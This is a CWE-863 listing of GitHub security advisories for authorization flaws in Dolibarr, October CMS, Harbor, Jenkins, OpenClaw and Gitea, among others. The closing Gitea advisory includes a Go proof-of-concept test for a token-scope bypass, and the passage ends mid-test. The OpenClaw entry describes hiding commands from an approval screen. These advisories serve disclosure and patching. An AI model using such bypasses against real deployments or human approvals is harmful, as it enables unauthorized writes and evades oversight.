Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5642 vulnerabilities reference this CWE, most recent first.

GHSA-XW7V-QRHC-JJG2

Vulnerability from github – Published: 2022-04-01 00:00 – Updated: 2022-04-18 22:21
VLAI
Summary
Access Control vulnerability in Dolibarr
Details

An Access Control vulnerability exists in Dolibarr ERP/CRM 13.0.2, fixed version is 14.0.1, in the forgot-password function becuase the application allows email addresses as usernames, which can cause a Denial of Service.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dolibarr/dolibarr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-37517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-01T19:38:58Z",
    "nvd_published_at": "2022-03-31T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "An Access Control vulnerability exists in Dolibarr ERP/CRM 13.0.2, fixed version is 14.0.1, in the forgot-password function becuase the application allows email addresses as usernames, which can cause a Denial of Service.",
  "id": "GHSA-xw7v-qrhc-jjg2",
  "modified": "2022-04-18T22:21:50Z",
  "published": "2022-04-01T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37517"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/commit/b57eb8284e830e30eefb26e3c5ede076ea24037c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Dolibarr/dolibarr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/releases/tag/14.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Access Control vulnerability in Dolibarr"
}

GHSA-XWJR-6FJ7-FC6H

Vulnerability from github – Published: 2020-11-23 19:48 – Updated: 2021-11-19 13:46
VLAI
Summary
Local File Inclusion by unauthenticated users
Details

Impact

An attacker can exploit this vulnerability to read local files on an October CMS server. The vulnerability is exploitable by unauthenticated users via a specially crafted request.

Patches

Issue has been patched in Build 469 (v1.0.469) and v1.1.0.

Workarounds

Apply https://github.com/octobercms/library/commit/80aab47f044a2660aa352450f55137598f362aa4 to your installation manually if unable to upgrade to Build 469.

References

Reported by ka1n4t

For more information

If you have any questions or comments about this advisory: * Email us at hello@octobercms.com

Threat assessment:

Screen Shot 2020-10-10 at 1 05 19 PM

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "october/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.421"
            },
            {
              "fixed": "1.0.469"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-11-23T19:23:14Z",
    "nvd_published_at": "2020-11-23T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nAn attacker can exploit this vulnerability to read local files on an October CMS server. The vulnerability is exploitable by unauthenticated users via a specially crafted request.\n\n### Patches\nIssue has been patched in Build 469 (v1.0.469) and v1.1.0.\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/80aab47f044a2660aa352450f55137598f362aa4 to your installation manually if unable to upgrade to Build 469.\n\n### References\nReported by [ka1n4t](https://github.com/ka1n4t)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n\u003cimg width=\"1105\" alt=\"Screen Shot 2020-10-10 at 1 05 19 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663086-4ffc4780-0af9-11eb-9bb6-fd40cf11c033.png\"\u003e",
  "id": "GHSA-xwjr-6fj7-fc6h",
  "modified": "2021-11-19T13:46:03Z",
  "published": "2020-11-23T19:48:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/october/security/advisories/GHSA-xwjr-6fj7-fc6h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15246"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/library/commit/80aab47f044a2660aa352450f55137598f362aa4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/octobercms/october"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local File Inclusion by unauthenticated users"
}

GHSA-XWR9-QPH4-CPWG

Vulnerability from github – Published: 2025-08-14 15:30 – Updated: 2025-08-14 15:30
VLAI
Details

A security issue exists within the 5032 16pt Digital Configurable module’s web server. The web server’s session number increments at an interval that correlates to the last two consecutive sign in session interval, making it predictable.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-7773"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-14T14:15:35Z",
    "severity": "HIGH"
  },
  "details": "A security issue exists within the 5032 16pt Digital Configurable module\u2019s web server. The web server\u2019s session number increments at an interval that correlates to the last two consecutive sign in session interval, making it predictable.",
  "id": "GHSA-xwr9-qph4-cpwg",
  "modified": "2025-08-14T15:30:45Z",
  "published": "2025-08-14T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7773"
    },
    {
      "type": "WEB",
      "url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1733.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XWW8-GQVH-92X9

Vulnerability from github – Published: 2026-07-02 15:40 – Updated: 2026-07-02 15:40
VLAI
Summary
OpenClaw: Exec approval display truncation could hide the command being approved
Details

Summary

OpenClaw exec approvals could show a shortened command in the approval UI while keeping the full original command for execution. For very long commands, an approver could see and approve a benign-looking prefix while a hidden suffix remained part of the command that would run after approval.

This issue affects the approval display and binding for oversized exec commands. It does not make exec available to unauthenticated users, and it does not change OpenClaw's local-first trust model.

Affected configurations

This affects deployments where exec approval is enabled and an authenticated caller can create a pending host exec request with a command long enough to be truncated in the approval view.

Impact

An approver could make a decision from incomplete command text. If the hidden suffix contained additional shell operations, those operations could run after the approval was resolved.

The practical impact depends on who can request exec approvals and who is allowed to approve them. The issue is an approval integrity problem: the approval surface did not faithfully represent the command that would execute.

Patched Versions

The first stable patched version is 2026.5.18.

Mitigations

Upgrade to openclaw@2026.5.18 or later. Before upgrading, avoid approving unusually long exec commands and keep approval capability limited to trusted operators.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.5.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T15:40:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOpenClaw exec approvals could show a shortened command in the approval UI while keeping the full original command for execution. For very long commands, an approver could see and approve a benign-looking prefix while a hidden suffix remained part of the command that would run after approval.\n\nThis issue affects the approval display and binding for oversized exec commands. It does not make exec available to unauthenticated users, and it does not change OpenClaw\u0027s local-first trust model.\n\n### Affected configurations\n\nThis affects deployments where exec approval is enabled and an authenticated caller can create a pending host exec request with a command long enough to be truncated in the approval view.\n\n### Impact\n\nAn approver could make a decision from incomplete command text. If the hidden suffix contained additional shell operations, those operations could run after the approval was resolved.\n\nThe practical impact depends on who can request exec approvals and who is allowed to approve them. The issue is an approval integrity problem: the approval surface did not faithfully represent the command that would execute.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.18`.\n\n### Mitigations\n\nUpgrade to `openclaw@2026.5.18` or later. Before upgrading, avoid approving unusually long exec commands and keep approval capability limited to trusted operators.",
  "id": "GHSA-xww8-gqvh-92x9",
  "modified": "2026-07-02T15:40:37Z",
  "published": "2026-07-02T15:40:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xww8-gqvh-92x9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw: Exec approval display truncation could hide the command being approved"
}

GHSA-XX38-QPXM-6J8X

Vulnerability from github – Published: 2022-05-05 02:49 – Updated: 2022-05-05 02:49
VLAI
Details

IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.29, 8.0 before 8.0.0.6, and 8.5 before 8.5.0.2 on Linux, Solaris, and HP-UX, when a Local OS registry is used, does not properly validate user accounts, which allows remote attackers to bypass intended access restrictions via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-0543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-04-24T10:28:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.29, 8.0 before 8.0.0.6, and 8.5 before 8.5.0.2 on Linux, Solaris, and HP-UX, when a Local OS registry is used, does not properly validate user accounts, which allows remote attackers to bypass intended access restrictions via unspecified vectors.",
  "id": "GHSA-xx38-qpxm-6j8x",
  "modified": "2022-05-05T02:49:15Z",
  "published": "2022-05-05T02:49:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0543"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/82759"
    },
    {
      "type": "WEB",
      "url": "http://www-01.ibm.com/support/docview.wss?\u0026uid=swg21632423"
    },
    {
      "type": "WEB",
      "url": "http://www-01.ibm.com/support/docview.wss?uid=swg1PM75582"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XX75-RCGC-PC97

Vulnerability from github – Published: 2022-04-08 00:00 – Updated: 2022-04-15 00:00
VLAI
Details

aEnrich a+HRD has inadequate privilege restrictions, an unauthenticated remote attacker can use the API function to upload and execute malicious scripts to control the system or disrupt service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-26676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-07T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "aEnrich a+HRD has inadequate privilege restrictions, an unauthenticated remote attacker can use the API function to upload and execute malicious scripts to control the system or disrupt service.",
  "id": "GHSA-xx75-rcgc-pc97",
  "modified": "2022-04-15T00:00:59Z",
  "published": "2022-04-08T00:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26676"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-5970-2f405-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XX9W-464F-7H6F

Vulnerability from github – Published: 2022-09-16 20:27 – Updated: 2024-11-19 16:25
VLAI
Summary
Harbor fails to validate the user permissions when updating a robot account
Details

Impact

Harbor fails to validate the user permissions when updating a robot account that belongs to a project that the authenticated user doesn’t have access to. API call:

PUT /robots/{robot_id}

By sending a request that attempts to update a robot account, and specifying a robot account id and robot account name that belongs to a different project that the user doesn’t have access to, it was possible to revoke the robot account permissions.

Patches

This and similar issues are fixed in Harbor v2.5.2 and later. Please upgrade as soon as possible.

Workarounds

There are no workarounds available.

For more information

If you have any questions or comments about this advisory: * Open an issue in the Harbor GitHub repository

Credits

Thanks to Gal Goldstein and Daniel Abeles from Oxeye Security for reporting this issue.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.12"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-31667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-16T20:27:13Z",
    "nvd_published_at": "2024-11-14T12:15:16Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nHarbor fails to validate the user permissions when updating a robot account that\nbelongs to a project that the authenticated user doesn\u2019t have access to. API call:\n\nPUT /robots/{robot_id}\n\nBy sending a request that attempts to update a robot account, and specifying a robot\naccount id and robot account name that belongs to a different project that the user\ndoesn\u2019t have access to, it was possible to revoke the robot account permissions.\n\n### Patches\nThis and similar issues are fixed in Harbor v2.5.2 and later. Please upgrade as soon as possible.\n\n### Workarounds\nThere are no workarounds available.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Harbor GitHub repository](https://github.com/goharbor/harbor)\n\n### Credits\nThanks to [Gal Goldstein](https://www.linkedin.com/in/gal-goldshtein/) and [Daniel Abeles](https://www.linkedin.com/in/daniel-abeles/) from [Oxeye Security](https://www.oxeye.io/) for reporting this issue.\n",
  "id": "GHSA-xx9w-464f-7h6f",
  "modified": "2024-11-19T16:25:22Z",
  "published": "2022-09-16T20:27:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/goharbor/harbor/security/advisories/GHSA-xx9w-464f-7h6f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31667"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/goharbor/harbor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": " Harbor fails to validate the user permissions when updating a robot account"
}

GHSA-XXHF-XQ6V-C8MJ

Vulnerability from github – Published: 2022-06-24 00:00 – Updated: 2022-12-05 22:35
VLAI
Summary
Improper authorization in Jenkins Embeddable Build Status Plugin bypasses ViewStatus permission requirement
Details

Embeddable Build Status Plugin 2.0.3 and earlier does not correctly perform the ViewStatus permission check in the HTTP endpoint it provides for \"unprotected\" status badge access.

This allows attackers without any permissions to obtain the build status badge icon for any attacker-specified job and/or build.

Embeddable Build Status Plugin 2.0.4 requires ViewStatus permission to obtain the build status badge icon.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:embeddable-build-status"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-34180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-05T22:59:57Z",
    "nvd_published_at": "2022-06-23T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Embeddable Build Status Plugin 2.0.3 and earlier does not correctly perform the ViewStatus permission check in the HTTP endpoint it provides for \\\"unprotected\\\" status badge access.\n\nThis allows attackers without any permissions to obtain the build status badge icon for any attacker-specified job and/or build.\n\nEmbeddable Build Status Plugin 2.0.4 requires ViewStatus permission to obtain the build status badge icon.",
  "id": "GHSA-xxhf-xq6v-c8mj",
  "modified": "2022-12-05T22:35:57Z",
  "published": "2022-06-24T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/embeddable-build-status-plugin/commit/402148784b3f4b029eaf47cc26ebf6b9bc636183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/embeddable-build-status-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-06-22/#SECURITY-2794"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper authorization in Jenkins Embeddable Build Status Plugin bypasses ViewStatus permission requirement"
}

GHSA-XXJV-752H-3VP2

Vulnerability from github – Published: 2026-07-21 20:38 – Updated: 2026-07-21 20:38
VLAI
Summary
Gitea: Public-only repository tokens can update private PR head branches
Details

Summary

Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.

The vulnerable endpoint is:

POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update

Gitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.

As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.

Details

The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.

// routers/api/v1/api.go:1358-1394
                    m.Group("/pulls", func() {
                        m.Combo("").Get(repo.ListPullRequests).
                            Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
                        m.Get("/pinned", repo.ListPinnedPullRequests)
                        m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
                        m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
                        m.Group("/{index}", func() {
                            m.Combo("").Get(repo.GetPullRequest).
                                Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
                            m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
                            m.Post("/update", reqToken(), repo.UpdatePullRequest)
                            m.Get("/commits", repo.GetPullRequestCommits)
                            m.Get("/files", repo.GetPullRequestFiles)
                            m.Combo("/merge").Get(repo.IsPullRequestMerged).
                                Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
                                Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
                            m.Group("/reviews", func() {
                                m.Combo("").
                                    Get(repo.ListPullReviews).
                                    Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
                                m.Group("/{id}", func() {
                                    m.Combo("").
                                        Get(repo.GetPullReview).
                                        Delete(reqToken(), repo.DeletePullReview).
                                        Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
                                    m.Combo("/comments").
                                        Get(repo.GetPullReviewComments)
                                    m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
                                    m.Post("/undismissals", repo.UnDismissPullReview)
                                })
                            })
                            m.Combo("/requested_reviewers", reqToken()).
                                Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
                                Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
                        })
                        m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
                    }, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())
// routers/api/v1/api.go:1465-1466
                }, repoAssignment(), checkTokenPublicOnly())
            }, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))

For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.

The update handler then checks whether the caller can update the PR head branch:

// routers/api/v1/repo/pull.go:1220-1270
    pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
    if err != nil {
        if issues_model.IsErrPullRequestNotExist(err) {
            ctx.APIErrorNotFound()
        } else {
            ctx.APIErrorInternal(err)
        }
        return
    }

    if pr.HasMerged {
        ctx.APIError(http.StatusUnprocessableEntity, err)
        return
    }

    if err = pr.LoadIssue(ctx); err != nil {
        ctx.APIErrorInternal(err)
        return
    }

    if pr.Issue.IsClosed {
        ctx.APIError(http.StatusUnprocessableEntity, err)
        return
    }

    if err = pr.LoadBaseRepo(ctx); err != nil {
        ctx.APIErrorInternal(err)
        return
    }
    if err = pr.LoadHeadRepo(ctx); err != nil {
        ctx.APIErrorInternal(err)
        return
    }

    rebase := ctx.FormString("style") == "rebase"

allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
    if err != nil {
        ctx.APIErrorInternal(err)
        return
    }

    if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
        ctx.Status(http.StatusForbidden)
        return
    }

    // default merge commit message
    message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)

The service checks the head repository using the user's normal repository permission:

// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
    if user == nil {
        return false, false, nil
    }
    if err := pull.LoadBaseRepo(ctx); err != nil {
        return false, false, err
    }
    if err := pull.LoadHeadRepo(ctx); err != nil {
        return false, false, err
    }

    // 1. check whether pull request enabled.
    prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
    if repo_model.IsErrUnitTypeNotExist(err) {
        return false, false, nil // the PR unit is disabled in base repo means no update allowed
    } else if err != nil {
        return false, false, fmt.Errorf("get base repo unit: %v", err)
    }

    // 2. only support Github style pull request
    if pull.Flow == issues_model.PullRequestFlowAGit {
        return false, false, nil
    }

    // 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
    if err != nil {
        return false, false, err
    }

That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.

If allowed, the update service performs a merge/rebase update and pushes into the head repository:

// services/pull/update.go:89-100
    reversePR := &issues_model.PullRequest{
        BaseRepoID: pr.HeadRepoID,
        BaseRepo:   pr.HeadRepo,
        BaseBranch: pr.HeadBranch,

        HeadRepoID: pr.BaseRepoID,
        HeadRepo:   pr.BaseRepo,
        HeadBranch: pr.BaseBranch,
    }

_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
    return err

The result is a server-side private repository write performed through a public route.

PoC

import (
    "encoding/base64"
    "fmt"
    "net/http"
    "net/url"
    "testing"
    "time"

    actions_model "code.gitea.io/gitea/models/actions"
    auth_model "code.gitea.io/gitea/models/auth"
    repo_model "code.gitea.io/gitea/models/repo"
    unit_model "code.gitea.io/gitea/models/unit"
    "code.gitea.io/gitea/models/unittest"
    user_model "code.gitea.io/gitea/models/user"
    "code.gitea.io/gitea/modules/gitrepo"
    api "code.gitea.io/gitea/modules/structs"
    webhook_module "code.gitea.io/gitea/modules/webhook"
    repo_service "code.gitea.io/gitea/services/repository"

    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
)

func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
    onGiteaRun(t, func(t *testing.T, _ *url.URL) {
        doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})

        baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
            Name:          "public-pr-update-base",
            Description:   "public base repository for public-only PR update PoC",
            AutoInit:      true,
            Readme:        "Default",
            DefaultBranch: "main",
            IsPrivate:     false,
        })
        require.NoError(t, err)

        headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
            BaseRepo:     baseRepo,
            Name:         "private-pr-update-head",
            Description:  "private head repository for public-only PR update PoC",
            SingleBranch: baseRepo.DefaultBranch,
        })
        require.NoError(t, err)
        require.NotNil(t, headRepo)
        require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
            RepoID: headRepo.ID,
            Type:   unit_model.TypeActions,
        }}, nil))
        headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})

        headBranch := "private-head-update"
        testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
            OldBranch: baseRepo.DefaultBranch,
            NewBranch: headBranch,
        }, map[string]string{
            "private-head-marker.txt": "private head branch marker",
        })
        const workflowID = "private-push.yml"
        const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
        testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
            OldBranch: headBranch,
            NewBranch: headBranch,
        }, map[string]string{
            ".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
  push:
    branches:
      - %s
jobs:
  private-head-job:
    runs-on: ubuntu-latest
    steps:
      - run: echo %s
`, headBranch, workflowSentinel),
        })

        require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
            ID:        headRepo.ID,
            IsPrivate: true,
        }, "is_private"))
        headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
        require.True(t, headRepo.IsPrivate)
        baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})

        session := loginUser(t, doer.Name)
        publicOnlyToken := getTokenForLoggedInUser(t, session,
            auth_model.AccessTokenScopePublicOnly,
            auth_model.AccessTokenScopeWriteRepository,
        )

        publicPath := "public-base-injected-into-private.txt"
        publicMarker := "FAULT-GITEA-062 public base content reached private head"
        createPublicBaseFile := api.CreateFileOptions{
            FileOptions: api.FileOptions{
                BranchName: baseRepo.DefaultBranch,
                Message:    "create public marker for private head update",
            },
            ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
        }
        req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
            AddTokenAuth(publicOnlyToken)
        MakeRequest(t, req, http.StatusCreated)

        privatePath := "direct-private-write-should-fail.txt"
        directPrivateWrite := api.CreateFileOptions{
            FileOptions: api.FileOptions{
                BranchName: headBranch,
                Message:    "direct private write attempt",
            },
            ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
        }
        req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
            AddTokenAuth(publicOnlyToken)
        MakeRequest(t, req, http.StatusNotFound)

        prPayload := map[string]string{
            "title": "faultline public-only private head update",
            "base":  baseRepo.DefaultBranch,
            "head":  fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
        }
        req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
            AddTokenAuth(publicOnlyToken)
        resp := MakeRequest(t, req, http.StatusCreated)

        var pr api.PullRequest
        DecodeJSON(t, resp, &pr)
        require.Equal(t, prPayload["title"], pr.Title)

        gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
        require.NoError(t, err)
        defer gitRepo.Close()

        commit, err := gitRepo.GetBranchCommit(headBranch)
        require.NoError(t, err)
        _, err = commit.GetBlobByPath(publicPath)
        require.Error(t, err)

        req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
            AddTokenAuth(publicOnlyToken)
